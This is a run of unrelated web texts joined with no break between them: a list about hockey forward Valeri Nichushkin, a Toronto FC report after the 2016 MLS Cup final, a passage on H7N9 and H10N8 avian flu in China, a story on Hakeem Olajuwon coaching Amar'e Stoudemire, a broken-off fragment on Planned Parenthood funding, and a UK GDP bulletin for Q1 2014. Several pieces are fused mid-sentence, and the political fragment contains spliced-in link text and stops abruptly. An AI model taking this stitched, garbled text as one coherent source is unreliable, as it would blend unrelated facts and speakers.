Nichushkin did make an appearance at the 2013 NHL Draft combine, but said he did absolutely no physical preparation for it so he wouldn't burn himself out, telling RIA Novosti, "To be honest, I don't care about these tests." That decision didn't sit well with some talent evaluators like International Scouting Services head scout Ross MacLean, who told CFRN-AM in Edmonton: "He shows up at the combine and acts very arrogantly and has terrible interviews and quits on a lot of the tests, and has a lot of teams saying, 'You know what? No thanks.'"
8. Big-time competition.
Nichushkin had the added perk of making his KHL debut in the same season that the NHL was locked out, meaning many of Russia's biggest names were coming home to keep their skills sharp. But Nichushkin, who didn't get much playing time early, never got the chance to face the like of Alexander Ovechkin, Evgeni Malkin or Ilya Kovalchuk with the lockout ending early. Once he did, however, he thrived, scoring 14 goals and 20 assists in his rookie season.
9. Inked.
At the ripe old age of 18, Nichushkin already had his first tattoo - a Maori warrior mask on his chest, which he got done in his home town of Chelyabinsk. You can expect the forward to add to his collection in the near future. "This is only the beginning," Nichushkin told RIA Novosti. "I'll definitely do more tattoos in the future." He's stayed true to his word, adding a tribal pattern to his left shoulder and arm.
10. Straight to the top.
(Mike Stone/Special Contributor)
Nichushkin originally made NHL evaluators a little leery when he hinted he might stay in Russia for a few years before heading to the states. But he tried to clear up his intentions before the draft, telling RIA Novosti that he would leave his Russian club, Dynamo Moscow, for the NHL. "I've already made up my mind that I'm leaving," Nichushkin said. "At Dynamo they've been pretty calm about it. I was told that I can leave if I want. There are no legal problems with that at all." Nichushkin did say he didn't want to play in the AHL, and he got his wish, playing in 79 NHL games his rookie season. He did end up playing for the AHL's Texas Stars in 2014-15, but only in rehab appearances while healing from hip surgery.TORONTO – The wounds are open and the emotions raw, but Toronto FC is already planning for the 2017 Major League Soccer season.
TFC held its end-of-year, locker clean out day on Tuesday morning at their training facility in north Toronto with the memory of Saturday’s MLS Cup final loss to the Seattle Sounders at BMO Field still fresh. Before heading off on holidays, several players, coach Greg Vanney, general manager Tim Bezbatchenko and club president Bill Manning talked to local reporters one last time.
Here are the highlights from Tuesday’s media availability.
TFC gets Irwin back, but loose Bloom
This story developed after the press event, and it can be a bit confusing, but we’ll do our best to explain it.
On Tuesday afternoon, TFC lost starting goalkeeper Clint Irwin to Atlanta United FC in the league’s expansion draft. A native of North Carolina, Irwin was one of several players left unprotected by the Reds ahead of the draft and Atlanta, who alongside Minnesota United FC begin play in MLS next year, and was duly scooped up by the team from Georgia.
But later in the day, Toronto announced it reacquired Irwin in a trade with Atlanta in exchange for defender Mark Bloom and general allocation money. Obviously, TFC had a contingency plan and worked out a deal beforehand with Atlanta (and possibly Minnesota) regarding Irwin, who originally lost out due to a numbers game—TFC was only allowed to protect 11 players, and they had to use a certain amount of those spots on international players.
Bloom, a 29-year-old native of Georgia, made 44 appearances and registered four assists in all competitions since joining Toronto in 2013.
"It is really bittersweet. We fell in love with this city … But ultimately Atlanta feels a little like home, too," Bloom’s wife Emma said in a message to Sportsnet.
Getting over the hurt
Saturday’s loss was a bitter pill to swallow for TFC. The Reds dominated and dictated the pace for most of the 120 minutes of regulation and extra time. They didn’t even allow Seattle to register a single shot on target, so coming out on the wrong end of a 5-4 penalty shootout decision was especially cruel.
It was clear from the way players and staff were talking on Tuesday that it’s going to take some time to get over the hurt.
"It was sad. We felt we were the better team on the day. We felt in front of our home fans we could win. … I’d almost rather lose in regulation [than in a shootout] because then you say they were the better team than us and we lost. It’s a tough way to lose," Manning admitted.
Vanney was even more blunt.
"I thought we were the best team in the playoffs. I thought we deserved better based on our performance, but the game can be difficult and cruel sometimes if you don’t execute in key moments," TFC’s coach stated.
Canadian midfielder Jonathan Osorio looked especially emotional and as though he was fighting back tears while fielding questions from reporters.
“What else could we do in that game to win? The ball just had to go in the net. They had zero shots [on goal] and they’re the champions. What can we do?" a sombre Osorio said.
Jozy Altidore had a chance to win the game in extra time with a header off a cross from Tosaint Ricketts, but the forward was robbed on a highlight-reel save by ex-TFC goalkeeper Stefan Frei. Altidore admitted he’s still coming to terms with how Toronto lost to Seattle.
"It’s tough to come to grips with. You look at the game, the way we played, everything we put into it—maybe you can say that we just ran out of gas. … It’s really hard to accept, especially when we created so many chances," Altidore said.
Captain Michael Bradley was very philosophical about the loss.
"The thing about sports is that nothing is guaranteed. You come in every day and the only chance you have is to put everything you have on the line. There’s no promises. There’s no guarantee that just because you do that you get something in return. That’s not the way it works. But that’s also the beauty of sports," Bradley offered.
Only minor tweaks needed for 2017
So, what does Toronto FC have to do to improve next season?
The message from management and players on Tuesday is that there is a solid core in place, and that there’s no need to blow up the roster or make major changes. It’s all about making a few small tweaks.
"We’re talking about a couple of pieces that we think can enhance our group, and not necessarily change our group," Vanney stated.
Bradley echoed his coach’s sentiments.
"Even if we had won on Saturday night, you always have to find the right ways to improve, you always have to find the right ways to strengthen yourself. We feel very good about the foundation that has been laid. I think in terms of [this] group we have the mentality, the balance in terms of experience and young players, and quality. It’s all been taken in the right direction," Bradley stated.
Bezbatchenko explained he’ll have a better idea of what specific moves he might make come January.
"I feel like we have a complete roster this year in a lot of ways. … There are some areas where we’re stronger and deeper than others; I think we’re going to have to wait through the expansion draft, the re-entry draft and the free agency process [and] through the winter period … until we really know what type of holes we have," Bezbatchenko said.
Altidore already has a request.
"To be completely honest, I think we could use a little bit more of a creative player. That will take us a little bit higher than we are right now. We’re a very good team but if we have another piece who is creative, whether it be a winger, or a creative player who can in his own way help us decide games, that would be great," Altidore offered.
He might get his wish, as it sounds as though TFC have a bit of salary cap space and allocation money with which to work.
"In the off-season, we have some additional [targeted allocation money] now that we’re going to use, and we’ve gone out on a couple of scouting trips this year already. [Bezbatchenko] was over in Europe an down in South America, so there are some targets we’re going to look at to try and improve the team," Manning explained.
Giovinco takes aim at the Argos
Star striker Sebastian Giovinco raised the issue over the quality of the pitch at BMO Field adversely affecting his performances late in the season and in the playoffs.
Giovinco was subbed off the last two home playoff games, including Saturday’s MLS Cup. The Italian pointed out that one difference between the 2016 campaign and last year was that TFC now shares the ground with the CFL’s Argonauts. The Grey Cup was also staged at BMO Field in late November.
Speaking through a translator, Giovinco talked about why he wasn’t as productive at home, and suggested that the Argonauts moving into BMO Field this season changed the condition of the pitch and might have caused him to cramp up. The Italian said he took his complaints to management, who responded that they were confident they could improve the playing surface for 2017.
Giovinco scored six goals and added four assists in six playoff games (all as a starter) this year. Three of those goals came at Yankee Stadium in a 5-0 win over NYCFC, and two of his assists came away from home.
The Italian, who just completed the second season of his five-year contract, stated he has no interest in signing with a European club until he wins an MLS Cup with TFC.
Manning: Bradley will be back
Like Giovinco, Bradley is often the focus of transfer speculation, and European clubs have in the past reached out to TFC about buying the American international.
The winter transfer window will open again in January, which means teams can make inquiries and field possible transfer offers for TFC’s captain. Manning, though, said he expects Bradley to return.
"Michael, I’m sure, is going to draw interest, as is [Jozy Altidore and Sebastian Giovinco] and other players. … You never know, but yes, of course, our plan is that he would be here. He did have some interest [before] but as of right now I haven’t got a phone call," Manning said.
Future of Bez and Vanney
Both Vanney and Bezbatchenko have one year remaining on their current deals, but Manning has already spoken to them about signing contact extensions, and will continue those talks next week.
"All of us collectively want to be here, and we want to see this thing through for a long time. … I’ll sit down with those guys and absolutely make sure they’re still here," Manning stated.
Johnson and Cheyrou could return
Canadian Will Johnson is out of contract and an unrestricted free agent, while fellow midfielder Benoit Cheyrou had his contract option declined by TFC earlier this week—although the club still retains his rights and is free to sign him to a new deal at a lower salary.
Bezbatchenko said there’s a chance that both players will return to Toronto next year.
"Will is in a unique position in that [he can test the free agency waters], so we’re talking to Will. We had our meeting today, and I’ll continue talking to his agent," Bezbatchenko offered.
TFC’s GM also met with Cheyrou on Tuesday, and said the Frenchman is someone they want to bring back.
"We didn’t pick up [his] option, but there’s a lot of things we can do to discuss a new contract and what that looks like. Hopefully, we can move [talks with Johnson and Cheyrou] forward over the next days and weeks," Bezbatchenko said.
Cooper a full-time member of TFC
Bezbatchenko confirmed that the club now owns midfielder Armando Cooper.
Cooper joined TFC as part of a mid-season loan from Arabe Unido in his native Panama. As part of the loan deal, Toronto had the option to buy him on a permanent basis from the Panamanian club at the end of the MLS campaign.
"We exercised the option on Armando’s loan, so he’ll be back next year. Armando is here to stay," Bezbatchenko said.
"He brought something that helped our team mid-season that is rare in our league, so we’re excited to keep him and have him as part of our roster next year."
Sportsnet’s Soccer Central podcast (featuring James Sharman, Thomas Dobby, Brendan Dunlop and John Molinaro) takes an in-depth look at the beautiful game and offers timely and thoughtful analysis on the sport’s biggest issues.
Listen now || iTunes || PodcatchersAt the same time, an even newer avian flu in China has killed its first human victim. That strain, known as H10N8, has been confirmed in only two people — a 73-year-old woman who died in December but whose infection was confirmed later, and a 55-year-old woman from the same province hospitalized in January. Both had contact with live poultry.
(Influenzas are described by the shapes of two protuberances on their surfaces: the hemagglutinin “spike,” or “H,” that attaches to cells, and the neuraminidase “helicopter,” or “N,” that chops off receptors, allowing new viruses to escape. There are 18 known types of H and 11 of N.)
While the newer influenza virus is worrisome, a mere two cases is “a far, far cry” from the risk posed by H7N9, said Ruben Donis, chief of preparedness for the flu division of the Centers for Disease Control and Prevention. He noted that the H7N9 virus had infected people in 10 Chinese provinces and was close to the borders of Vietnam, Cambodia and other poor Southeast Asian nations less adept than China at flu surveillance.
Birds appear to be spreading the H7N9 virus more through their breath than through feces, the normal infection route, Dr. Osterholm said, which means that fecal-sample testing in live markets may miss cases.
Monitoring the spread of the H7N9 and H10N8 viruses is difficult because neither makes chickens sick. Poultry farmers resist testing because a positive test forces them to destroy flocks that appear healthy. By contrast, the H5N1 virus rapidly kills flocks, so farmers want it extinguished.“You won’t believe it,” Olajuwon said in a telephone interview from his ranch outside Houston.
The apprenticeship began on Aug. 6, with daily three-hour sessions on Olajuwon’s private court. Stoudemire has proved a quick study, assimilating moves and countermoves as fast as Olajuwon can demonstrate them.
“It’s night and day,” Olajuwon said. “What’s so nice is he wants it; he likes the post. He’s always wanted to play there, but he doesn’t have the moves that would give him that option.”
Since retiring in 2002, Olajuwon has become the N.B.A.’s go-to source for players hoping to develop their post skills. LeBron James, Dwight Howard and Kobe Bryant have visited the Olajuwon ranch. So have Marcin Gortat and the Lopez twins, Brook and Robin. This month, it’s Stoudemire and Denver’s JaVale McGee.
Most players come for about four days, Olajuwon said. Stoudemire is staying for two weeks. His motivation is clear.
Stoudemire’s 17.5-point scoring average in 2011-12 was his worst in a full season since his rookie year. His.483 field-goal percentage was the lowest since his second season. He had his shot blocked 1.3 times per game, furthering speculation that his body was breaking down (although, in fact, that rate was close to his career average).
When the season began, Stoudemire was still dealing with the aftermath of an injured back muscle. In February, his older brother, Hazell, was killed in a car accident, which took a tremendous emotional toll. Stoudemire sustained another back injury (a bulging disk) in late March.
The final injury was self-inflicted and humiliating — a lacerated left hand sustained when Stoudemire smashed a glass fire-extinguisher cover in the Miami arena, after a Game 2 loss to the Heat.
Photo
Stoudemire returned to help lead the Knicks to a series-saving Game 4 victory, but the damage to his reputation was done. And although he is known for a high work ethic, Stoudemire had reason to work a little harder this summer.
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“This is the most engaged I’ve seen him in years,” said Happy Walters, Stoudemire’s agent. He added, “I think fans will be happy.”
They will be happier still if Stoudemire’s new skills foster a better dynamic with Carmelo Anthony, his All-Star tag-team partner. Stoudemire was a dominant scorer when he joined the Knicks, but his role and production diminished once Anthony arrived in February 2011. The Knicks have a losing record with Anthony and Stoudemire in the lineup, and every advanced statistic shows they are worse when both stars are on the court.
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Now Stoudemire has lost the coach (Mike D’Antoni) and the offensive system that made him a star in Phoenix and New York. Without a steady diet of pick-and-roll plays, he will need other ways to score. Enter Olajuwon.
Mike Woodson, the new coach, was Olajuwon’s teammate for two years, and the two remain friends. It was Woodson’s idea to send Stoudemire to Houston.
“The coach, he has a good vision,” Olajuwon said cheerfully.
Even at 29, Stoudemire has the strength, quickness and agility to be an effective post scorer once he masters the footwork and timing.
“His spin is becoming so sharp and crisp,” Olajuwon said. “He could spin all day. He loves it.”
Until now, Stoudemire hardly needed a post game. In his first season in the league he was a high-flying 20-year-old — the Blake Griffin of his generation — before developing a sharp midrange jumper that made him nearly unguardable. He has averaged at least 20 points in seven of his N.B.A. seasons, with a career shooting percentage of.533.
Stoudemire has also played most of his career for D’Antoni, whose offense is predicated on spacing and movement, not dump-it-in-the-post sets. When Stoudemire was averaging 37 points against Tim Duncan in the Western Conference finals, no one saw much need for a low-post game.
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“We had so much success with him, averaging almost 60 wins a year in Phoenix with the system the way it was,” said Phil Weber, who was on D’Antoni’s staff in both Phoenix and New York. “He could have posted up, but he was so successful.”
But circumstances have changed. D’Antoni is gone. Woodson is installing a more traditional offense. Anthony is dominating the ball on the wing. Stoudemire has little choice but to evolve.
“To now develop a post game is going to be remarkable for me,” Stoudemire told Fox 26 in Houston. “It’s going to catch a lot of my opponents off guard, and it’s going to be a great year for me.”
Olajuwon sounds just as eager to see Stoudemire unleash his new moves in the fall — and to see Woodson’s reaction. Woodson attended the first workout last week and was “very happy,” Olajuwon said.
“But if he sees now, if he sees him today,” Olajuwon continued, chuckling, “he would not believe. I’m excited.”"I think we all need to pause in our daily lives and think about what Planned Parenthood really does. And, you bet, the Senate is a problem right now when we're talking about defunding them."
Musgrave challenged Democrats who have pledged not to cut the group's funding.
"[Senate Majority Leader] Harry Reid Harry Mason ReidBottom Line Brennan fires back at'selfish' Trump over Harry Reid criticism Trump rips Harry Reid for 'failed career' after ex-Dem leader slams him in interview MORE says he'll shut down the government before he'll take money away from Planned Parenthood, and I say to Harry Reid 'Go ahead!'"
She argued cutting Planned Parenthood's funding should be a non-negotiable point for the GOP during the current budget talks and called the current House Republican leadership |
3.0%, revised down 0.1 percentage points from the previously published estimate.
The households’ saving ratio was estimated to be 4.9% in Q1 2014.
Real households’ disposable income fell by 0.2% between Q4 2013 and Q1 2014.
GDP in current prices was estimated to have increased by 1.3% between Q4 2013 and Q1 2014, revised up 0.1 percentage points from the previously published estimate.
What is GDP? GDP is an estimate of total economic activity in the UK. It is constructed by balancing the estimates from the output, income and expenditure approaches to measuring GDP which in theory are all equal. For more information on how GDP is balanced, see ‘Balancing GDP’ in the background notes section of this release. Data in this release, unless otherwise stated, will have been seasonally adjusted (SA) with seasonal effects removed to allow comparisons over time. Estimates are given in chained volume measures (CVM), sometimes known as real terms, with the effects of inflation removed, or current prices (CP), sometimes known as nominal terms, without any adjustment for inflation. Growth for GDP and its components is given between different periods. Latest year on previous year gives the annual growth between one calendar year and the previous calendar year. Latest quarter on previous quarter growth gives growth between one quarter and the quarter immediately before it. Latest quarter on corresponding quarter of previous year shows the growth between one quarter and the same quarter a year ago. This third estimate of GDP for Q1 2014 includes revisions to, and more detail on, the output, expenditure and income approaches to GDP. Also included are data on the institutional sector accounts, including the households’ saving ratio and real household disposable income. In line with national accounts revisions policy, the earliest period open for revision in this release is Q1 2013.
Headline Sector Accounts, GDP and Selected Components Table 1: Q1 2014 Gross Domestic Product Households' saving ratio Real households' disposable income Current market prices Chained volume measure Chained volume measure % %1 2010=100 2010=100 %1 Seasonally adjusted Q2 2012 8.1 2.3 103.8 101.0 -0.4 Q3 2012 7.8 -0.4 104.6 101.7 0.8 Q4 2012 6.1 -1.0 106.5 101.5 -0.2 Q1 2013 4.2 -1.7 107.2 102.1 0.5 Q2 2013 6.0 2.1 107.6 102.7 0.7 Q3 2013 5.8 0.8 108.7 103.6 0.8 Q4 2013 4.8 -0.7 110.7 104.3 0.7 Q1 2014 4.9 -0.2 112.2 105.1 0.8 Table source: Office for National Statistics Table notes: 1 Percentage change on quarter from previous quarter. Download table XLS format
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Historical Context Figure 1: Quarterly growth and levels of GDP, table A2 Source: Office for National Statistics Download chart XLS format
(24.5 Kb) Figure 1 shows the quarterly path of GDP over the last 26 years. It shows the steady economic growth in the UK from the mid 1990s through to 2008 when, partly due to a financial market shock, the UK suffered an economic downturn. Figure 2 compares economic downturns since the 1970s, showing that the most recent downturn was the deepest in post-war history, with GDP falling by 7.2% between its peak in Q1 2008 to its trough in Q2 2009. The recovery in GDP since Q2 2009 has also been more subdued compared to past experience. However, the UK economy has shown signs of increasing momentum throughout 2013 and in the first quarter of 2014. Figure 2: GDP quarter-on-quarter growth from peak for previous and latest economic downturns Source: Office for National Statistics Download chart XLS format
(35 Kb) The latest figures for Q1 2014 show the UK recovery continuing with GDP in real terms growing by 0.8% compared with the previous quarter and by 3.0% between Q1 2013 and Q1 2014, the strongest quarter on same quarter a year ago growth since before the economic downturn. GDP is now only 0.6% below the pre-economic downturn level. From the output approach, services have surpassed their pre-downturn peak while production and construction output continues to grow. The expenditure measure shows continued growth in gross fixed capital formation and the largest component, household final consumption expenditure. The income measure shows strong growth in gross operating surplus of corporations for the third consecutive quarter.
GDP Analysed by Output Categories, Chained Volume Measures, Tables B1 and B2 Annex A (29.5 Kb Excel sheet) contains growth rates back to Q1 2013. The output measure shows a broad-based rise in GDP for Q1 2014 with agriculture forestry & fishing, production, construction and services all expanding on the quarter. Total production output grew by 0.7% in Q1 2014 compared with Q4 2013. Mining and quarrying including oil & gas extraction increased by 0.8% in Q1 2014. Manufacturing (the largest component of production) increased by 1.5% between Q4 2013 and Q1 2014 (see Figure 3), revised up 0.1 percentage points from the previous estimate and contributed 0.2 percentage points to the 0.8% increase in GDP in Q1 2014. This is the largest increase in manufacturing since Q2 2010 when it grew by 2.0%. Output from water supply & sewerage also increased in Q1 2014. Electricity, gas, steam & air fell by 6.4% in Q1 2014, the only industry grouping within production to have fallen in this period.
Figure 3: Manufacturing growth, quarter-on-quarter Source: Office for National Statistics Download chart XLS format
(19 Kb) When comparing Q1 2014 with Q1 2013, production output rose by 2.4%. All production industries contributed positively to this growth, with the exception of electricity, gas, steam and air conditioning, which contracted by 13.3% as demand for electricity and gas in March 2014 was lower than the same period a year ago. This is likely to be attributable to the warmer March weather in 2014. Between Q1 2013 and Q1 2014, manufacturing output rose by 3.6%, revised up 0.1 percentage points from the previous estimate. Construction output increased by 1.5% in Q1 2014 compared with Q4 2013, revised up from the previously estimated 0.6% increase. Between Q1 2013 and Q1 2014 construction output increased by 6.7%. The service industries grew by 0.8% in Q1 2014 (see Figure 4), revised down 0.1 percentage points from the previous estimate. This follows a 0.7% increase in Q4 2013, marking Q1 2014 as the fifth consecutive quarter of positive growth. The increase in the latest quarter was broad-based, the largest contributions coming from the wholesale & retail industries and the scientific, administration & support industries, which each grew by 1.9%.
Figure 4: Services growth, quarter-on-quarter Source: Office for National Statistics Download chart XLS format
(18.5 Kb) Output of the distribution, hotels & restaurants industries rose by 1.7% in Q1 2014, unrevised from the previous estimate. The 1.7% increase in the latest quarter was largely due to increases in wholesale trade except of motor vehicles & motorcycles. In Q4 2013 distribution, hotels & restaurants industries output increased by 0.5%. Output of the transport, storage & communication industries rose by 0.6% in Q1 2014, revised down from the previously published 0.9% increase. This follows a 0.3% increase in Q4 2013. The largest upward contribution to growth in Q1 2014 came from land transport services and transport services via pipelines, excluding rail transport. Business services & finance industries output rose by 0.9% in Q1 2014, unrevised from the previously published estimate. In Q4 2013 business services & finance output rose by 1.0%. The largest upward contribution to growth in Q1 2014 came from other professional, scientific & technical activities. Output of government & other services rose by 0.2% in Q1 2014,and was revised downwards by 0.1 percentage points from the previous estimate, following a 0.7% increase in Q4 2013. The increase in Q1 2014 was mainly due to human health activities. Further detail on the service industries lower-level components can be found in the Index of Services statistical bulletin published on the same day as this release. Gross value added excluding oil & gas extraction rose by 0.8% in Q1 2014, and 0.7% in Q4 2013. Figure 5 shows output components indexed to Q1 2008 (the economy’s pre-downturn peak). Services output has now surpassed its pre-downturn peak by 1.9 percentage points having increased by 2.8% between Q1 2013 and Q1 2014. However it is the only headline industry to achieve this milestone, with the production, construction and agriculture industries remaining below their respective peaks. Within production, manufacturing output was 7.6% below pre-downturn levels. Figure 5: GDP output components growth, quarter-on-quarter Source: Office for National Statistics Download chart XLS format
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GDP Analysed by Expenditure Categories, Chained Volume Measures, Table C2 Annex B (26.5 Kb Excel sheet) contains growth rates back to Q1 2013. Gross domestic expenditure (the sum of all expenditure by UK residents on goods and services which are not used up or transformed in a productive process) rose by 0.5% in Q1 2014, revised down 0.2 percentage points from the previously published estimate. Household final consumption expenditure rose by 0.8% in Q1 2014, unrevised from the previous estimate (see Figure 6). This is the tenth consecutive quarter-on-quarter increase and follows a 0.3% increase in Q4 2013. The largest increases in household final consumption expenditure in Q1 2014 came from transport and miscellaneous goods & services. Household final consumption expenditure, when compared with the same quarter a year ago, has been rising each quarter since Q1 2012 and was 2.2% higher in Q1 2014 than in the same period a year ago.
Figure 6: Household final consumption expenditure growth, quarter-on-quarter Source: Office for National Statistics Download chart XLS format
(18.5 Kb) Government final consumption expenditure was unchanged in Q1 2014, revised down 0.1 percentage points from the previous estimate and follows a 0.1% fall in Q4 2013. Between Q1 2013 and Q1 2014, government final consumption expenditure increased by 1.8%. Non-profit institutions serving households (NPISH) final consumption expenditure fell by 2.3% in Q1 2014, revised down 0.1 percentage points from the previous estimate and follows a 1.0% decrease in Q4 2013. Between Q1 2013 and Q1 2014 NPISH final consumption expenditure fell by 0.6%. Gross fixed capital formation (the purchase and disposal of fixed assets used in the production process for more than a year) increased by 2.4% in Q1 2014 (see Figure 7), revised up from the previously estimated 0.6% increase. This follows a 1.3% increase in Q4 2013. Between Q1 2013 and Q1 2014, gross fixed capital formation rose by 9.7%. Within gross fixed capital formation, business investment increased by 5.0% between Q4 2013 and Q1 2014, revised up from the previously estimated 2.7% increase. This follows a 1.5% increase in Q4 2013. More detail on gross fixed capital formation is available in the Business Investment statistical bulletin published on the same day as this release.
Figure 7: Gross fixed capital formation growth, quarter-on-quarter Source: Office for National Statistics Download chart XLS format
(18.5 Kb) Excluding the alignment adjustment, the level of inventories rose by £3.3 billion in Q1 2014, following an increase of £1.7 billion in Q4 2013. Including the alignment adjustment, the level of inventories increased by £1.9 billion in Q1 2014, following an increase of £3.2 billion in Q4 2013. The trade balance deficit decreased from £5.5 billion in Q4 2013 to £4.2 billion in Q1 2014 (see Figure 8). The trade position reflects exports minus imports. Following a 0.9% rise in Q4 2013, exports fell by 0.1% in Q1 2014, while imports fell by 1.3% in Q4 2013 and by 1.2% in Q1 2014. Exports of goods fell by 1.3% in Q1 2014, due to a fall in semi-manufactured goods (chemicals and materials). Exports of services rose by 1.6% in Q1 2014 mainly due to an increase in financial services. In Q1 2014 imports of goods fell by 1.1%, due to a decrease in fuels and oil imports in particular. Imports of services decreased by 1.5% in Q1 2014 due to falls in travel services and financial services. With exports contracting to a lesser extent than imports, the net trade balance has improved compared to the previous quarter, but worsened slightly compared to Q1 2013.
Figure 8: Trade balance, £ billion Source: Office for National Statistics Download chart XLS format
(18.5 Kb) Figure 9 shows the quarterly contribution of the expenditure components to GDP growth in the latest quarter. The largest contribution came from household final consumption expenditure (0.5%) while gross fixed capital formation made a smaller contribution of 0.3%. Changes in inventories made a negative contribution of 0.3%. With exports falling less than imports this quarter, net trade made a positive 0.3% contribution to GDP. Figure 9: Expenditure components contribution to GDP growth, quarter-on-quarter Source: Office for National Statistics Download chart XLS format
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GDP Implied Deflator Annex D (25.5 Kb Excel sheet) contains growth rates back to Q1 2013. The gross domestic product implied deflator at market prices for Q1 2014 is 1.6% above the same quarter of 2013 (see Figure 10). The GDP implied deflator is calculated by dividing current price (nominal) GDP by chained volume (real) GDP and multiplying by 100 to convert to an index. It is not used in the calculation of GDP; the deflators for expenditure components, which are the basis for the implied GDP deflator, are used to calculate nominal GDP not real GDP. Figure 10: GDP at market prices implied deflator, quarter on same quarter of previous year Source: Office for National Statistics Download chart XLS format
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GDP Analysed by Income Categories at Current Prices, Table D Annex C (23 Kb Excel sheet) contains growth rates back to Q1 2013. GDP at current market prices rose by 1.3% in Q1 2014, following a 1.8% increase in Q4 2013. GDP at current market prices rose by 4.7% when compared to Q1 2013. Compensation of employees – which includes both wages & salaries and pension contributions - increased by 0.8% in Q1 2014, unrevised from the previous estimate. This follows an increase of 0.4% in Q4 2013 (see Figure 11). Compensation of employees rose by 4.1% between Q1 2013 and Q1 2014.
Figure 11: Compensation of employees growth, quarter-on-quarter Source: Office for National Statistics Download chart XLS format
(18.5 Kb) The gross operating surplus of corporations – effectively the profits of companies operating within the UK – including the alignment adjustment, rose by 2.0% in Q1 2014, compared with the previous quarter; revised up 0.5 percentage points from the previously published estimate. This follows an increase of 6.0% in Q4 2013 (see Figure 12). Between Q1 2013 and Q1 2014, gross operating surplus of corporations rose by 3.5%. On an unaligned basis, private non-financial corporations’ operating surplus fell by 0.4% in Q1 2014, following a 4.9% increase in Q4 2013. Private non-financial corporations’ operating surplus on an aligned basis rose by 1.3% in Q1 2014, following an increase of 6.9% in Q4 2013.
Figure 12: Gross operating surplus of corporations' growth, quarter-on-quarter Source: Office for National Statistics Download chart XLS format
(18.5 Kb) Taxes less subsidies on products and production fell by 0.6% in Q1 2014, following an increase of 1.7% in Q4 2013. Figure 13 shows the contribution made by income components to current price GDP during Q1 2014. Other income, compensation of employees and gross operating surplus of corporations all contributed positively to GDP growth in the latest quarter. These contributed 0.5, 0.4 and 0.4 percentage points respectively. Private non-financial corporations' (PNFC) gross operating surplus - the largest component of gross operating surplus of corporations - contributed 0.2 percentage points to current price GDP growth in Q1 2014. Gross operating surplus of financial corporations and public corporations each contributed 0.1 percentage points to current price GDP growth. Figure 13: Income components contribution to GDP growth, quarter-on-quarter Source: Office for National Statistics Download chart XLS format
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Sector Accounts, Tables I, J1, J2, J3, K1 and K2 Summary Annually for 2013, the central government, local government, financial corporations and household sectors were net borrowers. Public corporations, private non-financial corporations and the rest of the world sectors were net lenders. In Q1 2014, the central government and household sectors were net borrowers. The local government, public corporations, financial corporations, private non-financial corporations and rest of the world sectors were net lenders (see Figure 14). Figure 14: Net lending (+)/net borrowing (-) by sector Source: Office for National Statistics Download chart XLS format
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Compared to the previous quarter, there has been a switch to net lending in the local government and financial corporations sectors. All other sectors remain unchanged. See table I for further detail. The household and non-profit institutions serving households (NPISH) sector (Tables J1, J2 and J3) Saving ratio: Annually for 2013 the saving ratio was 5.2%, compared with 7.3% in 2012. The saving ratio in Q1 2014 was 4.9%, compared with 4.8% in the previous quarter. This small increase was due to rises in gross operating surplus and mixed income and pension fund reserves offset by a fall in social benefits and a rise in final consumption expenditure (see Figure 15). Figure 15: Households' saving ratio Source: Office for National Statistics Download chart XLS format
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What is the saving ratio? The saving ratio estimates the amount of money households have available to save (known as gross saving) as a percentage of their total disposable income (known as total available households’ resources). Both can be found in table J3 of the Quarterly National Accounts (QNA) release. Gross saving estimates the difference between households’ total available resources (mainly wages received, revenue of the self-employed, social benefits and net income such as interest on savings and dividends from shares but excluding taxes on income and wealth) and their current consumption (expenditure on goods and services). All of the components that make up gross saving and total available resources, and in fact all sector accounts data apart from real household disposable income (RHDI), are estimated in current prices (CP). These are sometimes known as nominal prices, meaning that they include the effects of price changes. The saving ratio is published in both non-seasonally adjusted (NSA) and seasonally adjusted (SA) formats with the latter removing seasonal effects to allow comparisons over time. However, the saving ratio can be volatile and is sensitive to even relatively small movements to its components, particularly on a quarterly basis. This is because saving is a small difference between two numbers. It is therefore often revised at successive publications when new or updated data are included.
Real household disposable income: For the year 2013, real household disposable income decreased by 0.3% following a rise of 2.5% in 2012. This reflects an increase of 2.2% in the household and NPISH final consumption deflator, partially offset by a 2.0% rise in nominal gross disposable income. This increase in nominal gross disposable income was due to a rise in wages and salaries and social benefits, partially offset by increased taxes on income and wealth. The level of real household disposable income decreased by 0.2% in Q1 2014, following a fall of 0.7% in the previous quarter (see Figure 16). The decrease in the latest quarter was driven by a 0.4% rise in the household and NPISH final consumption deflator, partially offset by a 0.1% rise in nominal gross disposable income. Figure 16: Real households' disposable income, quarter-on-quarter growth Source: Office for National Statistics Download chart XLS format
(18.5 Kb) What is real household disposable income? There are two measures of household income, in real terms or in current prices (or nominal as it is often called), and both of these time series can be found in table J2 of this release.
Gross household disposable income (GDI) is the estimate of the total amount of money from income that households have available from wages received, revenue of the self-employed, social benefits and net income (such as interest on savings and dividends from shares) less taxes on income and wealth. All the components that make up GDI are estimated in current prices. However, by adjusting gross disposable income to remove the effects of inflation, we are able to estimate another useful measure of disposable income called real. This is a measure of real purchasing power of household incomes, in terms of the physical quantity of goods and services they would be able to purchase. We use the household expenditure deflator (which can be found in table J2 of this release) to remove the effects of price inflation.
Private non-financial corporations sector, tables K1 and K2 For the year 2013, net lending was £24.0 billion following net lending of £29.7 billion in 2012. This decrease was due to a fall in net property income, partially offset by a rise in gross operating surplus. Net lending of private non-financial corporations was £5.2 billion in Q1 2014, following net lending of £8.4 billion in the previous quarter. This decrease in net lending in the latest quarter was due to a fall in net property income of £5.3 billion.
